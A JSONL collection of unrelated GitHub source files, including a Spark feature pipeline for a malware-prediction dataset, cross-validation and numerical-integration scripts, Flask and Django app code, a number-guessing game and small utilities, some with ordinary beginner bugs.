+{"seq_id":"33229512101","text":"from pyspark.sql import SparkSession\n\nfrom pyspark.ml import Pipeline\nfrom pyspark.ml.feature import StringIndexer, OneHotEncoderEstimator, VectorAssembler, Normalizer\n\nspark = SparkSession.builder.getOrCreate()\n\nHOME_DIR = 'hdfs://dumbo/user/ns4486/'\nPIPELINE_DIR = HOME_DIR + 'pipelines/'\nWRITE_DIR = HOME_DIR + 'write/'\nREAD_DIR = HOME_DIR + 'datasets/'\n\ndf = spark.read.load(READ_DIR + 'microsoft_malware/train.csv', format = \"csv\", sep = \",\", inferSchema = \"true\", header = \"true\")\n\n# drop columns with NULL percentage > 50\ndf = df.drop(\n 'DefaultBrowsersIdentifier',\n 'PuaMode',\n 'Census_ProcessorClass',\n 'Census_InternalBatteryType',\n 'Census_IsFlightingInternal',\n 'Census_ThresholdOptIn',\n 'Census_IsWIMBootEnabled'\n)\n\n# drop unique identifier column\ndf = df.drop('MachineIdentifier')\n\ndf = df.fillna('NA')\ntrain_df, test_df = df.randomSplit([0.75, 0.25], seed=1337)\n\nCOLUMNS_OHE = [\n 'ProductName',\n 'EngineVersion',\n 'AppVersion',\n 'IsBeta',\n 'RtpStateBitfield',\n 'IsSxsPassiveMode',\n 'AVProductsInstalled',\n 'AVProductsEnabled',\n 'HasTpm',\n 'CountryIdentifier',\n 'OrganizationIdentifier',\n 'GeoNameIdentifier',\n 'LocaleEnglishNameIdentifier',\n 'Platform',\n 'Processor',\n 'OsVer',\n 'OsBuild',\n 'OsSuite',\n 'OsPlatformSubRelease',\n 'OsBuildLab',\n 'SkuEdition',\n 'IsProtected',\n 'AutoSampleOptIn',\n 'SMode',\n 'IeVerIdentifier',\n 'SmartScreen',\n 'Firewall',\n 'UacLuaenable',\n 'Census_MDC2FormFactor',\n 'Census_DeviceFamily',\n 'Census_ProcessorCoreCount',\n 'Census_ProcessorManufacturerIdentifier',\n 'Census_PrimaryDiskTypeName',\n 'Census_HasOpticalDiskDrive',\n 'Census_ChassisTypeName',\n 'Census_InternalPrimaryDiagonalDisplaySizeInInches',\n 'Census_PowerPlatformRoleName',\n 'Census_OSVersion',\n 'Census_OSArchitecture',\n 'Census_OSBranch',\n 'Census_OSBuildNumber',\n 'Census_OSBuildRevision',\n 'Census_OSEdition',\n 'Census_OSSkuName',\n 'Census_OSInstallTypeName',\n 'Census_OSInstallLanguageIdentifier',\n 'Census_OSUILocaleIdentifier',\n 'Census_OSWUAutoUpdateOptionsName',\n 'Census_IsPortableOperatingSystem',\n 'Census_GenuineStateName',\n 'Census_ActivationChannel',\n 'Census_IsFlightsDisabled',\n 'Census_FlightRing',\n 'Census_FirmwareManufacturerIdentifier',\n 'Census_IsSecureBootEnabled',\n 'Census_IsVirtualDevice',\n 'Census_IsTouchEnabled',\n 'Census_IsPenCapable',\n 'Census_IsAlwaysOnAlwaysConnectedCapable',\n 'Wdft_IsGamer',\n 'Wdft_RegionIdentifier'\n]\n\nCOLUMNS_HIGH_CARD = [\n 'Census_SystemVolumeTotalCapacity',\n 'Census_PrimaryDiskTotalCapacity',\n 'Census_TotalPhysicalRAM',\n 'Census_OEMModelIdentifier',\n 'CityIdentifier',\n 'Census_FirmwareVersionIdentifier',\n 'Census_InternalBatteryNumberOfCharges',\n 'AVProductStatesIdentifier',\n 'AvSigVersion',\n 'Census_OEMNameIdentifier',\n 'Census_ProcessorModelIdentifier',\n 'Census_InternalPrimaryDisplayResolutionHorizontal',\n 'Census_InternalPrimaryDisplayResolutionVertical'\n]\n\npipelineStages = []\n\nstringIndexerStages = [\n StringIndexer(inputCol = col, outputCol = col + '_INDEX', handleInvalid = 'skip')\n for col in COLUMNS_OHE + COLUMNS_HIGH_CARD\n]\npipelineStages += stringIndexerStages\n\nOHEStage = OneHotEncoderEstimator(\n inputCols = [col + '_INDEX' for col in COLUMNS_OHE],\n outputCols = [col + '_VEC' for col in COLUMNS_OHE]\n)\npipelineStages += [OHEStage]\n\nsparseVectorCols = [col + '_VEC' for col in COLUMNS_OHE] + [col + '_INDEX' for col in COLUMNS_HIGH_CARD]\nassembler = VectorAssembler(\n inputCols = sparseVectorCols, \n outputCol = 'features'\n)\npipelineStages += [assembler]\n\nnormalizer = Normalizer(\n inputCol = 'features',\n outputCol = 'normFeatures'\n)\npipelineStages += [normalizer]\n\n\npipeline = Pipeline(stages = pipelineStages)\npipelineModel = pipeline.fit(train_df)\ntrain_df = pipelineModel.transform(train_df)\n\nfor col in COLUMNS_OHE:\n train_df.drop(col, col + '_VEC')\n\nfor col in COLUMNS_HIGH_CARD:\n train_df.drop(col, col + '_INDEX')\n\ntrain_df.drop('features')\n\ntrain_df = spark.createDataFrame(train_df.rdd, schema = train_df.schema)\n\npipelineModel.save(PIPELINE_DIR + 'pipeline_model_preprocess')\npipeline.save(PIPELINE_DIR + 'pipeline_preprocess')\n\ntrain_df.write.parquet(WRITE_DIR + 'train_clean.parquet')","repo_name":"nikhilvsupekar/malware-prediction","sub_path":"src/spark/pipeline_preprocess.py","file_name":"pipeline_preprocess.py","file_ext":"py","file_size_in_byte":4360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"2580101328","text":"import numpy as np\r\nimport sys\r\nfrom numpy import linalg as LA\r\nfrom data_operations import standardize, isolate_sets\r\n\r\ndef compute_se(y, expected):\r\n return (y - expected) ** 2\r\n\r\ndef compute_rmse(se):\r\n return np.sqrt(se.mean())\r\n\r\ndef perform_s_folds(s, data):\r\n se = []\r\n for i in range(0, len(data)):\r\n testing = data[i]\r\n training = [x for j, x in enumerate(data) if j != i]\r\n training = np.vstack(training)\r\n\r\n train_x, train_y, test_x, test_y = isolate_sets(training, testing)\r\n\r\n theta = LA.inv(train_x.T @ train_x) @ train_x.T @ train_y\r\n expected = test_x @ theta\r\n error = compute_se(test_y, expected)\r\n se.append(error)\r\n\r\n se = np.vstack(se)\r\n rmse = compute_rmse(se)\r\n return rmse\r\n\r\ndef main():\r\n args = sys.argv\r\n data = np.genfromtxt('./x06Simple.csv', delimiter=',', dtype=\"uint16\", skip_header=1, usecols=(1,2,3))\r\n s = 3\r\n\r\n if len(args) > 1:\r\n if args[1].isdigit():\r\n s = int(args[1])\r\n if s == 1:\r\n return print(\"S-Folds must be larger than 1\")\r\n elif args[1].lower() == 'n':\r\n s = len(data)\r\n else:\r\n return\r\n\r\n all_rmse = []\r\n for i in range(0, 20):\r\n np.random.seed(i)\r\n np.random.shuffle(data)\r\n split_data = np.array_split(data, s)\r\n rmse = perform_s_folds(s, split_data)\r\n all_rmse.append(rmse)\r\n\r\n rmse_mean = np.mean(all_rmse, axis=0)\r\n rmse_std = np.std(all_rmse, axis=0, ddof=1)\r\n\r\n print(f\"Average RMSE over {s} folds:\", rmse_mean)\r\n print(f\"Standard deviation over {s} folds:\", rmse_std)\r\n\r\n return\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"tjrein/hw2","sub_path":"s_folds.py","file_name":"s_folds.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"8394557895","text":"# Exercícios\n# Crie funções que duplicam, triplicam e quadrúplicam\n# o número recebido como parâmetro.\n\ndef create_mult(num_mult):\n def mult(num):\n return num * num_mult\n return mult\n\nduplicate = create_mult(2)\ntriple = create_mult(3)\nquadruple = create_mult(4)\n\nexecute_def = (duplicate, triple, quadruple)\n\nfor data in execute_def:\n print(data(2))","repo_name":"Thiago-Teofilo/curso_python","sub_path":"python_curso_completo/m04_python_intermediario/aula117-ex-funcoes.py","file_name":"aula117-ex-funcoes.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"12404747983","text":"from django.urls import path\nfrom . import views\n\n\napp_name = \"video\"\n\nurlpatterns = [\n path(\"\", views.index, name=\"index\"),\n path(\"upload/\", views.upload, name=\"upload\"),\n path(\"/detail/\", views.detail, name=\"detail\")\n]\n\n","repo_name":"naohiro-yamada/video-pro","sub_path":"video/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"74370490407","text":"from enum import Enum\nimport re\nimport os\n\ndef remove_all_comment(input_lines : list):\n \n # degbug\n #vprint = print\n def vprint(*argc, **kwargs):\n pass\n\n class Mode(Enum):\n Normal = 0\n Comment = 1\n\n def remove_comment(line : str, arg):\n res_line = \"\"\n idx_comment_end = -2\n idx_comment_start = 0\n vprint(line)\n while True:\n vprint(idx_comment_start, idx_comment_end, res_line)\n idx_comment_start = line.find(\"/*\",idx_comment_end+2)\n if idx_comment_start != -1:\n res_line += line[idx_comment_end+2:idx_comment_start]\n else:\n res_line += line[idx_comment_end+2:]\n break\n \n idx_comment_end = line.find(\"*/\", idx_comment_start)\n if idx_comment_end != -1:\n pass\n else:\n arg[0] = Mode.Comment\n break\n \n return res_line\n \n i = 0\n mode = Mode.Normal\n res_line_list = []\n for line in input_lines:\n i += 1\n #line = str(line[:-2], \"utf-8\")\n line = line[:-2].decode(\"utf-8\",\"ignore\")\n \n res_line = \"\"\n\n vprint(f\"line{i:5} :\", mode, \" \", line)\n\n if mode == Mode.Comment:\n idx_comment_end = line.find(\"*/\")\n if idx_comment_end != -1:\n mode = Mode.Normal\n line = line[idx_comment_end+2:]\n else :\n pass\n \n if mode == Mode.Normal:\n arg = [mode]\n line = remove_comment(line, arg)\n mode = arg[0]\n\n if mode == Mode.Normal:\n idx_double_slash = line.find(\"//\")\n if idx_double_slash != -1:\n vprint(i, idx_double_slash)\n res_line = line[:idx_double_slash]\n else :\n res_line = line\n\n #wf.write(bytes(res_line, \"utf-8\"))\n #wf.write(b\"\\r\\n\")\n res_line_list.append(res_line)\n return res_line_list\n\ndef flatten(list_of_lists):\n if len(list_of_lists) == 0:\n return list_of_lists\n if isinstance(list_of_lists[0], list):\n return flatten(list_of_lists[0]) + flatten(list_of_lists[1:])\n return list_of_lists[:1] + flatten(list_of_lists[1:])\n\ndef reduce_lines(input_lines : list):\n res_line_list = []\n \ndef lines_to_Code(input_lines : list, tar_path : str):\n \n with open(tar_path, 'wb') as wf:\n for line in input_lines :\n wf.write(bytes(line, \"utf-8\"))\n wf.write(b\"\\r\\n\")\n \ndef find_all_file(dir_path : str, ext = ['c','h']):\n '''\n Args:\n ext: file extension.\n '''\n res_list = []\n for root, dirs, files in os.walk(dir_path):\n # Print the file names\n for file in files:\n #print(os.path.join(root, file))\n for ee in ext:\n if ee == '*':\n #print(root, file)\n res_list.append(root + \"\\\\\" + file)\n break\n ee = '.'+ee\n if file[-len(ee):] == ee:\n #print(root, file)\n res_list.append(root + \"\\\\\" + file)\n break\n return res_list\n\ndef split_mulit_blank(line : str):\n return [w for w in line.split(' ') if w != '']\n\ndef reduce_blank( line : str):\n return \" \".join(split_mulit_blank(line))\n\ndef find_list_idx(L : list, Tar, reverse = False):\n '''\n Args:\n Tar:\n Type : \n 1. str \n 2. list(str) : multi tar\n '''\n if type(Tar) != list:\n Tar = [Tar]\n \n return firstTrue(L , lambda x: x in Tar, reverse = reverse)\n\ndef find_sym_reverse(symbol_list : list, sym_tar : str, sym_reverse : str):\n s = -1\n for i,w in enumerate(symbol_list):\n #print(w,s)\n if w == sym_reverse:\n s -= 1\n elif w == sym_tar:\n s += 1\n #print(s)symbol_list\n if s >= 0:\n return i\n return -1\n\ndef firstTrue(L : list, f, reverse = False):\n assert callable(f)\n '''\n return : \n -1 : f(l) is True, for all l in L\n >=0 : index of the first False \n '''\n iter = enumerate(L) if reverse == False else enumerate(reversed(L))\n l = len(L)\n for i, w in iter:\n if f(w):\n if reverse == False:\n return i\n else:\n return l - i - 1\n return -1 \n\ndef firstFalse(L : list, f, reverse = False):\n return firstTrue(L, lambda x : not f(x), reverse = reverse)\n\ndef allTrue(L : list, f):\n ''' \n weather all f(e) is True for all l in L \n \n Args:\n f : function f(any) -> bool \n '''\n idx = firstFalse(L, f)\n if idx == -1:\n return True\n else:\n return False\n\n\n\n\ndef isNum(c):\n n = ord(c)\n return (n >= 48) and (n <= 57)\n\ndef isWord(c):\n n = ord(c)\n return ((n >= 97) and (n <= 122)) or ((n >= 65) and (n <= 90))\n\n_debug_cnt = 0\ndef debug_recursive(max : int):\n global _debug_cnt\n _debug_cnt += 1\n assert _debug_cnt < max\n\ndef prefix_cmp(text : str, CmpStr : str) -> bool:\n l = len(CmpStr)\n if text[:l] == CmpStr:\n return True\n else:\n return False\n","repo_name":"AlexJhang/Syntax-","sub_path":"util/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":5278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"11017081996","text":"import os\nimport pandas as pd\nimport numpy as np\nimport streamlit as st\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nfrom datetime import datetime\n\ndef page_study_of_annual_comparison_body():\n\n # load the data\n df = (\"/workspace/fifth-milestone-project-bitcoin/app_pages/Bitcoin_Price_Data.csv\")\n\n # filter the dataset for comparison\n df = (\"/workspace/fifth-milestone-project-bitcoin/app_pages/Bitcoin_Price_Data.csv\")\n usecols=range(2,4)\n\n newdf = df[df['Date'].str.contains('2014-03-14|01-01|06-30|12-31|2021-10-29')]\n \n # Code copied from Study of annual comparison Notebook\n vars_to_study = ['Date', 'Closing price (USD)', '24h open (USD)']\n\n st.write(\"## Study of annual comparison\")\n st.info(\n f\"The client would like to know:\\n\"\n f\"As the exchange rate rises, the difference between the opening and closing value will be smaller than with a lower exchange rate.\")\n\n # Text based on Conclusions of the Study of annual comparison\n st.info(\n f\"According to the plots, when the exchange rate increases,\\n\"\n f\"**most of the time the opening price is higher** than the closing price.\\n\"\n f\"According to the mathemathical method, as the exchange rate rises, the difference between the opening and closing value\\n\"\n f\"**will not be smaller** than with a lower exchange rate.\\n\"\n f\"The exchange rate was changing rapidly and the difference between the opening and closing prices were\\n\"\n f\"**significantly bigger from january 2018** than in the previous 4 years.\\n\"\n f\"During the sale, more attention should be paid to the opening price than to the closing price.\\n\"\n f\"When buying, it may be more beneficial to observe the closing price.\"\n )\n\n# Code based on EDA on selected variables of Study of annual comparison Notebook\n\n def newdf_eda():\n newdf_eda = newdf.filter(vars_to_study)\n\n if st.checkbox(\"Annual comparison between opening and closing price\"):\n annual_comparison(newdf_eda)\n\n# Code copied from Study of annual comparison Notebook and adapted to page requirements\ndef annual_comparison(df_eda):\n df = (\"/workspace/fifth-milestone-project-bitcoin/app_pages/Bitcoin_Price_Data.csv\")\n target_var = ['Date', 'Closing Price (USD)','24h Open (USD)']\n vars_to_study = ['Date', 'Closing Price (USD)', '24h Open (USD)']\n newdf = df[df['Date'].str.contains('2014-03-14|01-01|06-30|12-31|2021-10-29')]\n newdf_eda = newdf.filter(vars_to_study)\n for col in vars_to_study:\n \n plot_categorical(newdf_eda, col, target_var)\n print()\n \n# Code copied from Study of annual comparison Notebook and adapted to page requirements\ndef plot_categorical(newdf, col, target_var):\n df = (\"/workspace/fifth-milestone-project-bitcoin/app_pages/Bitcoin_Price_Data.csv\")\n newdf = df[df['Date'].str.contains('2014-03-14|01-01|06-30|12-31|2021-10-29')]\n plt.figure(figsize=(9, 5))\n sns.regplot(x=newdf[\"24h Open (USD)\"], y=newdf[\"Closing Price (USD)\"])\n plt.show()\n","repo_name":"Code-Institute-Submissions/fifth-milestone-project-bitcoin","sub_path":"app_pages/page_study_of_annual_comparison.py","file_name":"page_study_of_annual_comparison.py","file_ext":"py","file_size_in_byte":3034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"53"}
+{"seq_id":"16725966777","text":"n = int(input())\r\n\r\nxl = []\r\nyl = []\r\nfor _ in range(n):\r\n x, y = map(int, input().split())\r\n xl.append(x)\r\n yl.append(y)\r\n\r\nxl.sort()\r\nyl.sort()\r\n\r\n\r\ntempx1 = 0\r\ntempx2 = 0\r\ntempy1 = 0\r\ntempy2 = 0\r\n\r\nfor i in xl:\r\n tempx1 += abs(i - xl[n // 2])\r\n tempx2 += abs(i - xl[n//2 - 1])\r\nfor j in yl:\r\n tempy1 += abs(j - yl[n // 2])\r\n tempy2 += abs(j - yl[n // 2 - 1])\r\n\r\nif tempx1 >= tempx2:\r\n ansx = tempx2\r\nelse:\r\n ansx = tempx1\r\n\r\nif tempy1 >= tempy2:\r\n ansy = tempy2\r\nelse:\r\n ansy = tempy1\r\n\r\nans = ansx + ansy\r\n\r\nprint(ans)","repo_name":"bshello/Algo","sub_path":"백준/Silver/14400. 편의점 2/편의점 2.py","file_name":"편의점 2.py","file_ext":"py","file_size_in_byte":555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"74502653927","text":"import ScriptEnv\r\n\r\nclass solutions():\r\n def __init__(self):\r\n oProject = oDesktop.GetActiveProject()\r\n self.oDesign = oProject.GetActiveDesign()\r\n \r\n def getReportType(self):\r\n oModule=self.oDesign.GetModule(\"ReportSetup\")\r\n return oModule.GetAvailableReportTypes()\r\n\r\n def getAvailableSolution(self, ReportType):\r\n oModule=self.oDesign.GetModule(\"ReportSetup\")\r\n return oModule.GetAvailableSolutions(ReportType)\r\n \r\n def getFrequency(self, Solution):\r\n oModule=self.oDesign.GetModule(\"Solutions\")\r\n return oModule.GetSolveRangeInfo(Solution)\r\n \r\n def getVariations(self, Solution):\r\n oModule=self.oDesign.GetModule(\"Solutions\")\r\n return oModule.GetAvailableVariations(Solution)\r\n\r\noProject = oDesktop.GetActiveProject()\r\noDesign = oProject.GetActiveDesign()\r\noModule = oDesign.GetModule(\"Solutions\")\r\n\r\nsol=solutions()\r\nfor i in sol.getReportType():\r\n for j in sol.getAvailableSolution(i):\r\n if 'Sweep' not in j:\r\n continue\r\n for k in sol.getVariations(j):\r\n try:\r\n snpfile=\"{}{}.s{}p\".format(oProject.GetPath(),k,oModule.GetEditSourcesCount())\r\n oModule.ExportNetworkData(k, [j], 3, snpfile, [\"All\"], True, 50, \"S\", -1, 0, 15, True, False, False)\r\n AddWarningMessage(\"Export: {}\".format(snpfile))\r\n except:\r\n pass","repo_name":"linmingchih/HowtoSim_Script","sub_path":"Sweep_Touchstone_Export.py","file_name":"Sweep_Touchstone_Export.py","file_ext":"py","file_size_in_byte":1428,"program_lang":"python","lang":"en","doc_type":"code","stars":122,"dataset":"github-code","pt":"53"}
+{"seq_id":"37403778824","text":"\r\n#CS 101 Lab\r\n#Program 3\r\n#Brandon Barber\r\n#bmbct7@umsystem.edu\r\n\r\n#Problem: Make a game to guess the users number based on the remainder when divided by 3, 5, and 7\r\n\r\nplay_again = 'Y'\r\n\r\nprint('Welcome to the Flarsheim Guesser!')\r\nwhile play_again.lower() == 'y':\r\n print('Think of a number between and including 1 and 100.')\r\n mod_3 = int(input('What is the remainder when your number is divided by 3? '))\r\n while (mod_3 < 0) or (mod_3 > 2):\r\n if mod_3 < 0:\r\n print('The value entered must be 0 or greater.')\r\n mod_3 = int(input('What is the remainder when your number is divided by 3? '))\r\n else:\r\n print('The value entered must be less than 3.')\r\n mod_3 = int(input('What is the remainder when your number is divided by 3? '))\r\n mod_5 = int(input('What is the remainder when your number is divided by 5? '))\r\n while (mod_5 < 0) or (mod_5 > 4):\r\n if mod_5 < 0:\r\n print('The value entered must be 0 or greater.')\r\n mod_5 = int(input('What is the remainder when your number is divided by 5? '))\r\n else:\r\n print('The value entered must be less than 5.')\r\n mod_5 = int(input('What is the remainder when your number is divided by 5? '))\r\n mod_7 = int(input('What is the remainder when your number is divided by 7? '))\r\n while (mod_7 < 0) or (mod_7 > 6):\r\n if mod_7 < 0:\r\n print('The value entered must be 0 or greater.')\r\n mod_7 = int(input('What is the remainder when your number is divided by 7? '))\r\n else:\r\n print('The value entered must be less than 7.')\r\n mod_7 = int(input('What is the remainder when your number is divided by 7? '))\r\n mod_3_list = []\r\n mod_5_list = []\r\n mod_7_list = []\r\n for num in range (mod_3, 101, 3):\r\n mod_3_list.append(num)\r\n for num in range (mod_5, 101, 5):\r\n mod_5_list.append(num)\r\n for num in range (mod_7, 101, 7):\r\n mod_7_list.append(num)\r\n for number in mod_3_list:\r\n if number in mod_5_list and number in mod_7_list:\r\n print('Your number was {}'.format(number))\r\n play_again = input('Do you want to play again? Y to continue, N to quit ')\r\n while play_again != 'y'.lower() and play_again != 'n'.lower():\r\n play_again = input('Do you want to play again? Y to continue, N to quit ')\r\n\r\n'''I am unsure if this would have been easier to write a function for the while if else loops in the mod_x sections.'''\r\n","repo_name":"BMB1996/CS101L","sub_path":"Assignment3/SourceCode/Assignment3.py","file_name":"Assignment3.py","file_ext":"py","file_size_in_byte":2514,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"5519862496","text":"\"\"\"Api floors module views\"\"\"\n\nfrom flask.views import MethodView\n\nfrom . import bp as api\nfrom .schemas import (\n FloorSchemaView,\n FloorQueryArgsSchema, FloorRequestBodySchema,\n FloorEtagSchema)\n\nfrom ...extensions.rest_api import Page, check_etag, set_etag\nfrom ...extensions.database import db_accessor\nfrom ...extensions.auth import auth_required, verify_scope, get_user_account\n\nfrom ....models import Floor, Building\nfrom ..schemas import TreeSchemaView\nfrom ....database.db_enums import DBEnumHandler\n\n\n@api.route('/types/')\nclass FloorTypes(MethodView):\n \"\"\"Floor types endpoint\"\"\"\n\n @auth_required(roles=['building_manager', 'module_data_processor'])\n @api.doc(\n summary='List floor types',\n description=(\n 'Floor types is an arborescent structure: a floor of '\n 'a type A1 is also of type A, for A1 a subtype of A.'))\n @api.response(TreeSchemaView)\n def get(self):\n \"\"\"Return floor type list\"\"\"\n dbhandler = DBEnumHandler()\n return dbhandler.get_floor_types()\n\n\n@api.route('/')\nclass Floors(MethodView):\n \"\"\"Floor resources endpoint\"\"\"\n\n @auth_required(roles=['building_manager', 'module_data_processor'])\n @api.doc(\n summary='List floors',\n description='''Allow one to get the description of different floors.\n Filters can and shall be used as parameters.''')\n @api.arguments(FloorQueryArgsSchema, location='query')\n @api.response(\n FloorSchemaView(many=True), etag_schema=FloorEtagSchema(many=True))\n @api.paginate(Page)\n def get(self, args):\n \"\"\"Return floor list\"\"\"\n # retrieve sort parameter\n sort = args.pop('sort', None)\n # permissions filter\n uacc = get_user_account()\n if uacc is not None and '*' not in uacc.sites:\n args['sites'] = uacc.sites\n return db_accessor.get_list(Floor, args, sort)\n\n @auth_required(roles=['building_manager'])\n @api.doc(\n summary='Add a new floor',\n description='''Create a new floor in BEMServer. **A building needs to\n be created first!**''')\n @api.arguments(FloorRequestBodySchema)\n @api.response(FloorSchemaView, code=201, etag_schema=FloorEtagSchema)\n def post(self, new_data):\n \"\"\"Create a new floor\"\"\"\n # Save and return new item\n item = FloorSchemaView().make_obj(new_data)\n # permissions checks\n site_id = db_accessor.get_parent(Building, item.building_id)\n verify_scope(sites=[site_id])\n db_accessor.create(item)\n set_etag(item)\n return item\n\n\n@api.route('/')\nclass FloorsById(MethodView):\n \"\"\"Floor resource endpoint\"\"\"\n\n # @response also uses _get_item to generate etag value\n def _get_item(self, floor_id):\n \"\"\"Get an item from its ID\"\"\"\n # permissions checks\n site_id = db_accessor.get_parent(Floor, floor_id)\n verify_scope(sites=[site_id])\n return db_accessor.get_item_by_id(Floor, floor_id)\n\n @auth_required(roles=['building_manager', 'module_data_processor'])\n @api.doc(summary='Get floor by ID')\n @api.response(FloorSchemaView, etag_schema=FloorEtagSchema)\n def get(self, floor_id):\n \"\"\"Return an item from its ID\"\"\"\n item = self._get_item(floor_id)\n set_etag(item)\n return item\n\n @auth_required(roles=['building_manager'])\n @api.doc(summary='Update an existing floor')\n @api.arguments(FloorRequestBodySchema)\n @api.response(FloorSchemaView, etag_schema=FloorEtagSchema)\n def put(self, update_data, floor_id):\n \"\"\"Update an item from its ID and return updated item\"\"\"\n item = self._get_item(floor_id)\n check_etag(item)\n # Update, save and return item\n FloorSchemaView().update_obj(item, update_data)\n db_accessor.update(item)\n set_etag(item)\n return item\n\n @auth_required(roles=['building_manager'])\n @api.doc(summary='Delete a floor')\n @api.response(code=204, etag_schema=FloorEtagSchema)\n def delete(self, floor_id):\n \"\"\"Delete an item from its ID\"\"\"\n item = self._get_item(floor_id)\n check_etag(item)\n db_accessor.delete(item)\n","repo_name":"HIT2GAP-EU-PROJECT/bemserver","sub_path":"app/bemserver/api/views/floors/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4205,"program_lang":"python","lang":"en","doc_type":"code","stars":39,"dataset":"github-code","pt":"53"}
+{"seq_id":"13853587355","text":"# -*- coding: utf-8 -*-\n# @Time : 2022/5/15 5:11 下午\n# @Author : Leo\n# @FileName: composite_2points_gauss_legendre.py\n# @Software: PyCharm\n# @Blog :https://guojxblog.cn\n# @GitHub :https://github.com/guojx0820\n# @Email :guojiaxiang0820@gmail.com\n\nclass CompositeGaussLegendreIntegration:\n \"\"\"\n 复化两点高斯——勒让德求积公式,等距节点数自定义\n \"\"\"\n\n def __init__(self, int_fun, int_interval, interval_num=4):\n self.int_fun = int_fun # 被积函数,符号定义\n if len(int_interval) == 2:\n self.a, self.b = int_interval[0], int_interval[1] # 被积区间\n else:\n raise ValueError(\"积分区间参数设置不规范,应为[a, b].\")\n self.interval_num = interval_num\n self.int_value = None\n\n def cal_int(self):\n \"\"\"\n 复化两点高斯——勒让德求积公式\n :return:\n \"\"\"\n fun_value = 0 # 初始化函数值\n interval_len = (self.b - self.a) / self.interval_num\n for k in range(self.interval_num - 1):\n fun_value += self.int_fun(self.a + (k + 1 / 2) * interval_len)\n self.int_value = interval_len * fun_value\n return self.int_value\n","repo_name":"guojx0820/NumericalAnalysis","sub_path":"NumericalIntegration/composite_2points_gauss_legendre.py","file_name":"composite_2points_gauss_legendre.py","file_ext":"py","file_size_in_byte":1231,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"23240985375","text":"# 给你一个整数数组 coins ,表示不同面额的硬币;以及一个整数 amount ,表示总金额。\n#\n# 计算并返回可以凑成总金额所需的 最少的硬币个数 。如果没有任何一种硬币组合能组成总金额,返回 -1 。\n#\n# 你可以认为每种硬币的数量是无限的。\n#\n# 得到dp[j](考虑coins[i]),只有一个来源,dp[j - coins[i]](没有考虑coins[i])。\n# 凑足总额为j - coins[i]的最少个数为dp[j - coins[i]],那么只需要加上一个钱币coins[i]即dp[j - coins[i]] + 1就是dp[j](考虑coins[i])\n# 所以dp[j] 要取所有 dp[j - coins[i]] + 1 中最小的。\n# 递推公式:dp[j] = min(dp[j - coins[i]] + 1, dp[j]);\n# 完全背包问题\ncoins = [1, 2, 5]\namount = 11\ncoins = [2]\namount = 3\nclass Solution:\n def coinChange(self, coins: List[int], amount: int) -> int:\n # 初始化:总数为0,那么最少硬币个数是0,所以dp[0]=0。另外,由于dp是取最小值,所以应该初始化为一个很大的值\n dp = [amount + 1] * (amount + 1)\n dp[0] = 0\n for i in range(len(coins)):\n for j in range(coins[i], amount + 1):\n dp[j] = min(dp[j], dp[j - coins[i]] + 1)\n if dp[-1] > amount:\n return -1\n else:\n return dp[-1]\n\nprint(coinChange(coins, amount))","repo_name":"vandeppce/algorithm","sub_path":"10.dynamic programming/322*CoinChange.py","file_name":"322*CoinChange.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"13946790521","text":"from sklearn.preprocessing import LabelEncoder\nfrom sklearn.preprocessing import LabelBinarizer, OneHotEncoder\nimport pickle\nimport numpy as np\n\nclass DataEncoder():\n \"\"\"\n Class to handle encoding of csv data to labels and one-hot forms.\n \"\"\"\n\n def label_encode_columns(self, df, load_from_file=False):\n \"\"\"\n Class to encode classes in each column to integer labels.\n @param df: the original dataframe\n @param load_from_file: true while predicting, specifies that a saved encoder dictionary should be loaded.\n @return:\n \"\"\"\n\n for index, column_name in enumerate(list(df.columns)):\n df[column_name] = self.encode_labels(df[column_name].tolist(), column_name, load_from_file)\n # df[column_name] = self.load_and_transform_encoder(df[column_name], column_name, load_from_file)\n return df\n\n def encode_labels(self, list_of_strings, column_name, load_from_file=False):\n \"\"\"\n Helper function to encode labels to integers.\n @param list_of_strings: is the list of classes in a column of dataframe.\n @param column_name: is the column label, e.g. Students, etc.\n @param load_from_file: true if a saved encoding is to be loaded to carry out the transformation.\n @return: numpy array of strings mapped to corresponding integer classes.\n \"\"\"\n data_classes = list(sorted(set(list_of_strings)))\n # print(f'Data classes: {data_classes}')\n if load_from_file:\n mapping_dictionary = pickle.load(open('labelEncoder_' + column_name.split(' ')[0] + '.pkl', 'rb'))\n else:\n mapping_dictionary = dict(zip(data_classes, range(0, len(data_classes))))\n pickle.dump(mapping_dictionary, open('labelEncoder_' + column_name.split(' ')[0] + '.pkl', 'wb'))\n # print(\"Mapping dict: \", mapping_dictionary)\n mapped_labels = [mapping_dictionary[i] for i in list_of_strings]\n # print(mapped_labels[:10])\n mapped_labels = np.asarray(mapped_labels)\n return mapped_labels\n\n # \"\"\"\n # Function for label encoding using scikit-learn's LabelEncoder\n # \"\"\"\n # def load_and_transform_encoder(self, values, column_name, load_from_file=False):\n # encoder = pickle.load(open('labelEncoder_' + column_name.split(' ')[0] + '.pkl', 'rb')) if load_from_file else \\\n # LabelEncoder()\n # new_values = encoder.transform(values) if load_from_file else encoder.fit_transform(values)\n # if not load_from_file:\n # pickle.dump(encoder, open('labelEncoder_' + column_name.split(' ')[0] + '.pkl', 'wb'))\n # return new_values\n\n @staticmethod\n def 